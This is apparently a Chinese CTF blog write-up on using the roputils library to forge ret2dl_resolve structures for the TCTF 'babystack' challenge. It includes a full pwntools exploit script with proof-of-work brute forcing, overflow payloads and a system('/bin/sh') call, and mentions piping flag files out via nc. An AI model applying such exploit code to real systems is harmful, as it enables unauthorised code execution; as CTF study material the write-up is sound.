Contents
  1. 1. roputils体验
    1. 1.0.0.0.0.1. 好久没写日记了= =,今天记录插件时更新了下,索性写一波。。
  • 1.1. roputils 模板
  • roputils体验

    之前rop一般都是自己找,然后拼接生成,像ret2dl这种需要伪造dl_resolve结构的,也都是自己计算各个数据段位置,一不小心就出错。
    最近又遇到ret2dl的问题,自己构造完数据,exp执行完一直提示DL_FIX相关的错误,在搜问题时突然发现了这个神器,可以直接套用它的模板直接生成dl_resolve解析结构,特此记录下。

    好久没写日记了= =,今天记录插件时更新了下,索性写一波。。

    roputils 模板

    https://github.com/inaz2/roputils/tree/master/examples
    就以TCTF babystack为例:
    没输出,只调用了read & alarm函数,输入内容可溢出,Part RELRO保护,明显ret2dl。
    正常做法构造dl_resolve解析链:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    jmprel = self.dynamic('JMPREL')
    relent = self.dynamic('RELENT')
    symtab = self.dynamic('SYMTAB')
    syment = self.dynamic('SYMENT')
    strtab = self.dynamic('STRTAB')

    addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
    addr_sym, padlen_sym = self.align(addr_reloc+relent, symtab, syment)
    addr_symstr = addr_sym + syment

    r_info = (((addr_sym - symtab) / syment) << 8) | 0x7
    st_name = addr_symstr - strtab

    buf = self.fill(padlen_reloc)
    buf += struct.pack('<II', base, r_info) # Elf32_Rel
    buf += self.fill(padlen_sym)
    buf += struct.pack('<IIII', st_name, 0, 0, 0x12) # Elf32_Sym
    buf += self.string(name)

    然后用roputils的功能生成的话,直接调用

    1
    rop.dl_resolve_data(addr, 'system')

    即可以addr为标准,生成符合在addr处的dl_resolve解析数据,然后直接把数据写入addr处即可。相比原先自己计算数据地址,伪造数据结构要准确便捷的多。

    所以最终exp为(这题因为有py的保护,无法输出内容,所以在打服务器时无法得到shell,改为cat f* | nc反弹出内容即可):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    #!/usr/bin/python
    #coding:utf-8
    import sys
    sys.path.append('./roputils')
    import roputils
    from pwn import *
    from hashlib import sha256

    fpath = './babystack'
    offset = 44

    readplt = 0x08048300
    bss = 0x0804a020
    vulFunc = 0x0804843B

    #p = process(fpath)
    #p = remote('202.120.7.202', 6666)
    p = remote('127.0.0.1', 6666)
    context.log_level = 'debug'

    def getsol(chal):
    for a in range(33,125):
    for b in range (33, 125):
    for c in range (33, 125):
    for d in range(33,125):
    sol = str(chr(a)) + str(chr(b)) + str(chr(c)) + str(chr(d))
    if sha256(chal + sol).digest().startswith('\0\0\0'):
    print('sha256 success! sol = ' + sol)
    return sol

    rop = roputils.ROP(fpath)
    addr_bss = rop.section('.bss')

    chal = p.recvline()
    chal = chal.strip('\n')

    print 'chal = %r' %(chal)
    sol = getsol(chal)
    p.send(sol)

    # step1 : write shStr & resolve struct to bss
    # read指向bss,让下文写入binShStr和构造的fake dl_resolve结构,获得system解析链
    # buf1 = rop.retfill(offset)
    buf1 = 'A' * offset #44
    buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
    p.send(buf1)


    buf2 = '/bin/sh\0'
    buf2 += rop.fill(20, buf2)
    buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
    buf2 += rop.fill(100, buf2)
    p.send(buf2)

    # dl_resolve解析链构造完成后的调用也可用它自带的,亦或者自己计算reloc_offset自己调用plt0传入也行。

    # step3 : use dl_resolve_call get system & system('/bin/sh')
    # 利用roputils自带的调用生成rop
    buf3 = 'A' * offset + rop.dl_resolve_call(addr_bss+20, addr_bss)# + 'a'*30
    p.sendline(buf3)

    # step3 : self call dl_resolve_call
    # 自己计算reloc_offset位置然后plt0来调用
    def getReloc(elf, base):
    jmprel = elf.dynamic('JMPREL')
    relent = elf.dynamic('RELENT')

    addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
    reloc_offset = addr_reloc - jmprel
    return reloc_offset
    plt0 = 0x080482F0
    print 'plt0 = %r' %(rop.plt())
    reloc_offset = getReloc(rop, addr_bss+20)
    buf3 = 'A'*44+p32(plt0) + p32(reloc_offset) + p32(vulFunc) + p32(addr_bss)


    p.interactive()
    Contents
    1. 1. roputils体验
      1. 1.0.0.0.0.1. 好久没写日记了= =,今天记录插件时更新了下,索性写一波。。
  • 1.1. roputils 模板